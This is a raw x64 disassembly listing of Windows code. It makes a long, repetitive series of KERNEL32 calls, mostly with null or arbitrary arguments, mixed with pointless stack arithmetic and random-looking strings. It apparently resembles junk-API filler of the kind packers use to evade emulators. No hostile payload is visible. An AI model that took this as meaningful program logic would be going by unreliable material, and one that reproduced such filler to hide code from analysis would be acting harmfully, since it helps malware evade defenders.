mov eax, dword [rsp + 0x484c]
mov ecx, dword [0x14022fb7c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov dword [rcx], eax
lea rax, [rsp + 0x2a6]
mov qword [rsp + 0xa838], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0xa638]
mov rcx, qword [rsp + 0x9c00]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x4478], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa840], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x20df
mov r9d, 0x185c
mov r8d, 0xe629e15
mov edx, 2
mov rcx, qword [rsp + 0x9770]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4bb8], eax
mov rax, qword [rsp + 0x9748]
movzx eax, byte [rax]
mov byte [rsp + 0x2a7], al
movsx eax, word [rsp + 0x1188]
mov rcx, qword [rsp + 0xa308]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9518]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
lea rcx, [rsp + 0x1a8b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 2
lea r8, [rsp + 0x9e90]
mov rdx, qword [rsp + 0xa4b8]
mov rcx, qword [rsp + 0xa300]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b64], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx eax, byte [rsp + 0x17c]
movzx ecx, byte [rsp + 0x28c]
sub eax, ecx
mov byte [rsp + 0x257], al
movzx eax, word [0x14024f238]
mov word [rsp + 0x12ac], ax
lea rcx, str.6dlKZu_LMe_EdCjh9D
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12b0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0xa238]
mov ecx, dword [rsp + 0x4c18]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14024f340]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0x7c88]
mov rcx, qword [rsp + 0xa250]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa048], rax
movzx ecx, word [rsp + 0x1240]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1264], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1094]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1060], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa558], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0x8980]
mov rcx, qword [rsp + 0x8110]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8358], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8980]
mov rcx, qword [rsp + 0x7f10]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9548]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
movzx eax, word [rsp + 0xa3c]
movzx ecx, word [0x14024f300]
sub eax, ecx
mov word [rsp + 0x12ac], ax
mov rax, qword [rsp + 0x7be8]
mov qword [rsp + 0xa848], rax
movsx eax, byte [rsp + 0x2a7]
movsx ecx, byte [rsp + 0xb2]
add eax, ecx
mov rcx, qword [rsp + 0xa1a0]
mov byte [rcx], al
lea rax, [rsp + 0x4744]
mov qword [rsp + 0xa850], rax
mov rax, qword [rsp + 0x9940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa308]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdc8], ax
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x485c]
mov qword [0x14024f1e8], rax
movzx eax, byte [rsp + 0x1d3]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x280], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
lea rax, [rsp + 0xf0c]
mov qword [rsp + 0xa858], rax
movzx eax, byte [rsp + 0x28e]
mov rcx, qword [rsp + 0x9b90]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x26b], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.4b9jBePERjqCFsh
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa860], rax
mov rcx, qword [rsp + 0x9f70]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0xa110]
mov rcx, qword [rsp + 0x9bb0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x492c], eax
lea rax, [rsp + 0x4570]
mov qword [rsp + 0xa868], rax
mov rax, qword [rsp + 0xa2e8]
movsx eax, word [rax]
cdq
mov ecx, 0x1a7
idiv ecx
mov word [rsp + 0x7e0], ax
lea rcx, [rsp + 0xa870]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [rsp + 0x4acc]
movzx ecx, al
mov eax, dword [rsp + 0x4af4]
sar eax, cl
mov dword [rsp + 0x3e38], eax
mov rax, qword [rsp + 0xa7a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x78]
xor eax, ecx
mov rcx, qword [rsp + 0x9e00]
mov byte [rcx], al
lea rcx, [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0x9e88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9978]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x96a0], rax
movzx eax, byte [rsp + 0x1d3]
mov rcx, qword [rsp + 0xa120]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140221338], al
lea rax, [rsp + 0x48e4]
mov qword [rsp + 0xa878], rax
mov rcx, qword [rsp + 0xa038]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa880], rax
mov rax, qword [rsp + 0x9520]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1038]
sub eax, ecx
mov word [rsp + 0xe34], ax
mov rax, qword [rsp + 0xa3f0]
mov rax, qword [rax]
mov qword [rsp + 0xa888], rax
mov rax, qword [rsp + 0x9e58]
mov rcx, qword [rsp + 0x9838]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa728]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
movzx ecx, word [rsp + 0x1060]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x120c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.44K1WhIAsU8NCL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa890], rax
mov eax, dword [rsp + 0x4684]
mov ecx, dword [rsp + 0x4898]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x49f0], eax
movzx eax, word [rsp + 0xf60]
mov word [rsp + 0x12b4], ax
movsx eax, byte [rsp + 0x216]
mov rcx, qword [rsp + 0xa6b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x291], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
movzx ecx, word [rsp + 0x1104]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11b4], ax
lea rax, [rsp + 0x1d3]
mov qword [rsp + 0xa898], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx ecx, word [rsp + 0x1034]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfec], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rcx, str.ivxxgSpBAI9V
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12b8], ax
mov rcx, qword [rsp + 0xa790]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0xf80]
movzx ecx, word [rsp + 0x5cc]
add eax, ecx
mov rcx, qword [0x14024f2c8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0x9f98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ac8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x46e8], eax
lea rdx, [rsp + 0xa8a0]
mov rcx, qword [rsp + 0xa560]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bec], eax
lea rcx, [rsp + 0xa5d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.jkZUCk7LX_tOJA7FrkNxkZUEzbCT0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa8a8], rax
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9e10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8358]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9620]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xfac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10f0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0xa698]
mov rcx, qword [rsp + 0x9e88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x89c8], rax
movzx eax, byte [rsp + 0x276]
movzx ecx, byte [rsp + 0x10d]
add eax, ecx
mov byte [rsp + 0x282], al
lea rax, [rsp + 0x28a]
mov qword [rsp + 0xa8b0], rax
movsx eax, word [0x14024f3be]
movsx ecx, word [rsp + 0x898]
sar eax, cl
mov rcx, qword [rsp + 0xa4e0]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.iSKMylAzIEjaFZI
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa8b8], rax
mov rax, qword [rsp + 0xa850]
mov eax, dword [rax]
mov dword [rsp + 0x4c34], eax
mov rax, qword [rsp + 0x9628]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
xor eax, ecx
mov word [rsp + 0x1200], ax
mov r9d, 0x17cb
xor r8d, r8d
lea rdx, [rsp + 0x9b80]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49c8], eax
mov eax, dword [rsp + 0x42f4]
mov dword [0x14024f1e4], eax
movzx ecx, word [rsp + 0x101c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12bc], ax
lea rcx, [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9d78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa350]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa728]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7b58]
movzx ecx, al
mov rax, qword [rsp + 0x9208]
shl rax, cl
mov qword [rsp + 0x80a8], rax
lea rdx, [rsp + 0xa510]
mov rcx, qword [rsp + 0x95d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4920], eax
mov eax, dword [rsp + 0x49a4]
mov ecx, dword [rsp + 0x485c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4434], eax
movzx eax, word [rsp + 0xfb8]
mov word [rsp + 0x12c0], ax
mov eax, dword [0x14022fb68]
mov ecx, dword [rsp + 0x41f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xf74]
mov rcx, qword [rsp + 0x9a60]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9d90]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xa8c0], rax
lea rax, [rsp + 0x228]
mov qword [rsp + 0xa8c8], rax
mov rcx, qword [rsp + 0x9e80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ca0], rax
movzx eax, byte [rsp + 0x17c]
movzx ecx, byte [0x14022133b]
add eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x1ed1
mov r9d, 0x2d23
mov r8d, 0x2286
mov edx, 0x3b3
mov rcx, qword [rsp + 0xa400]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4b54], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9ec0]
mov rcx, qword [rsp + 0xa6a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14022fba4], eax
movzx eax, word [rsp + 0xf04]
mov word [rsp + 0x12c4], ax
movzx ecx, word [rsp + 0xf08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfd4], ax
movzx eax, byte [rsp + 0x287]
mov rcx, qword [rsp + 0x99e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x205], al
mov rax, qword [rsp + 0x91f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8688]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3a8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0x7b28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8248], rax
movzx ecx, word [rsp + 0x1040]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12c8], ax
movzx ecx, word [rsp + 0x11a8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11b4], ax
mov rcx, qword [rsp + 0x9998]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9568]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x12b], al
mov rax, qword [rsp + 0x9170]
movzx eax, word [rax]
mov word [rsp + 0x12cc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [rsp + 0x4b28]
mov ecx, dword [rsp + 0x3e5c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ac8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x49e8]
shl eax, cl
mov rcx, qword [rsp + 0xa238]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99e0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14024f2c0]
mov byte [rcx], al
movzx ecx, word [rsp + 0x100c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1094], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov dword [rsp + 0x21420], 0x11c
mov rcx, qword [rsp + 0xa590]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x493c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cc8], rax
mov rax, qword [rsp + 0x9738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa160]
mov qword [rsp + 0xa8d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa8d0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8230], rax
lea rcx, [rsp + 0xa8d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa6a0]
movzx eax, word [rax]
cdq
mov ecx, 0xd33
idiv ecx
mov rcx, qword [rsp + 0x9860]
mov word [rcx], ax
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
mov qword [rsp + 0xa8e0], rax
mov rcx, qword [rsp + 0xa100]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x14024f298]
mov ecx, dword [rsp + 0x46a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47d8], eax
movzx ecx, word [rsp + 0x116c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x101c], ax
mov r9d, 0x182b
xor r8d, r8d
lea rdx, [rsp + 0xa5b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c38], eax
mov rcx, qword [rsp + 0xa880]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x48f4], eax
lea rax, [rsp + 0x11f8]
mov qword [rsp + 0xa8e8], rax
mov eax, dword [rsp + 0x4c04]
mov ecx, dword [rsp + 0x4884]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b14], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movsx eax, byte [rsp + 0x16a]
movsx ecx, byte [rsp + 0x291]
add eax, ecx
mov byte [rsp + 0x293], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xa6b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x10bc]
mov qword [rsp + 0xa8f0], rax
mov rax, qword [rsp + 0x9ed8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x276]
add eax, ecx
mov byte [0x14022133b], al
movzx ecx, word [rsp + 0x11b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x125c], ax
mov rax, qword [rsp + 0xa350]
mov rcx, qword [0x14022fb60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9838]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x24a1
mov r9d, 0x151
mov r8d, 0x3726
mov edx, 0xca4
mov rcx, qword [rsp + 0xa3d0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4c3c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
lea rax, [rsp + 0x48bc]
mov qword [rsp + 0xa8f8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0x99e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ed8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a68]
mov byte [rcx], al
movzx eax, word [rsp + 0x1138]
movzx ecx, word [rsp + 0x10cc]
sub eax, ecx
mov word [rsp + 0x10a8], ax
movzx eax, byte [rsp + 0x2a7]
mov byte [rsp + 0x2a8], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
movsx eax, word [rsp + 0x11f0]
movsx ecx, word [0x14024f3be]
add eax, ecx
mov rcx, qword [rsp + 0xa308]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, str.SnLS0nfB
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12d0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov dword [rsp + 0x20], 0x3983
mov r9d, 0x1dc6
mov r8d, 0x38cf
mov edx, 0x28c5
mov rcx, qword [rsp + 0x95c0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4974], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x20100]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c40], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0x9e28]
mov rcx, qword [rsp + 0x9dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4380], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [rsp + 0xa3f0]
mov rcx, qword [rsp + 0x9270]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa128]
mov qword [rcx], rax
xor r9d, r9d
lea r8, [rsp + 0xa758]
mov rdx, qword [rsp + 0x9ee0]
mov rcx, qword [rsp + 0xa5e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c44], eax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x10a8]
imul eax, eax, 0xfda
mov word [rsp + 0xe5c], ax
lea rcx, [rsp + 0x9c90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0x1074]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12d4], ax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x1fb60]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4910], eax
mov rcx, qword [rsp + 0x9ef0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x2a4]
mov byte [0x14024f1e0], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
lea rcx, str.Gy9_Qu_eoGQm_JSN8
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12d8], ax
mov rax, qword [rsp + 0xa780]
mov eax, dword [rax]
mov dword [rsp + 0x4c48], eax
lea rcx, [rsp + 0x9808]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsp + 0x1a618]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 0x1df4
xor r8d, r8d
lea rdx, [rsp + 0xa480]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b0c], eax
mov rax, qword [rsp + 0xa200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9868]
mov qword [rsp + 0xa900], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa900]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8cf8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
lea r8, [rsp + 0x9928]
mov rdx, qword [rsp + 0xa110]
mov rcx, qword [rsp + 0x8fa0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4704], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.8ooyRyVNN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa908], rax
mov rcx, qword [rsp + 0x99d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x8508]
mov qword [rsp + 0xa910], rax
mov rax, qword [rsp + 0x8e00]
mov rcx, qword [rsp + 0x9e28]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa770]
mov dword [rcx], eax
movsx eax, word [0x14024f3be]
mov rcx, qword [rsp + 0x9940]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1090], ax
movsx eax, byte [rsp + 0x286]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1fc], al
lea rcx, [rsp + 0x1a888]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x8d10]
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c4c], eax
mov dword [rsp + 0x20], 0x347e
mov r9d, 0x1eec
mov r8d, 0x349d
mov edx, 0x234f
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4bdc], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9c70], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xfa0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11e8], ax
lea rdx, [rsp + 0xa918]
mov rcx, qword [rsp + 0xa7b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b68], eax
movzx eax, word [rsp + 0x1030]
movzx ecx, word [rsp + 0x11d0]
sub eax, ecx
mov word [rsp + 0xdec], ax
mov rax, qword [rsp + 0x9a68]
movzx eax, byte [rax]
mov byte [rsp + 0x2a9], al
lea rcx, [rsp + 0x9ce8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa0c8], rax
mov eax, dword [rsp + 0x3f08]
mov ecx, dword [rsp + 0x49a4]
add ecx, eax
mov eax, ecx
mov dword [0x14022fba8], eax
mov rax, qword [rsp + 0x9b50]
mov rcx, qword [rsp + 0xa250]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bc8], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x20a00]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4994], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9ff0]
mov rcx, qword [rsp + 0x7c88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8a48], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0x9f98]
mov rcx, qword [rsp + 0x9ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9778]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x278]
mov rcx, qword [rsp + 0x9a88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x288], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
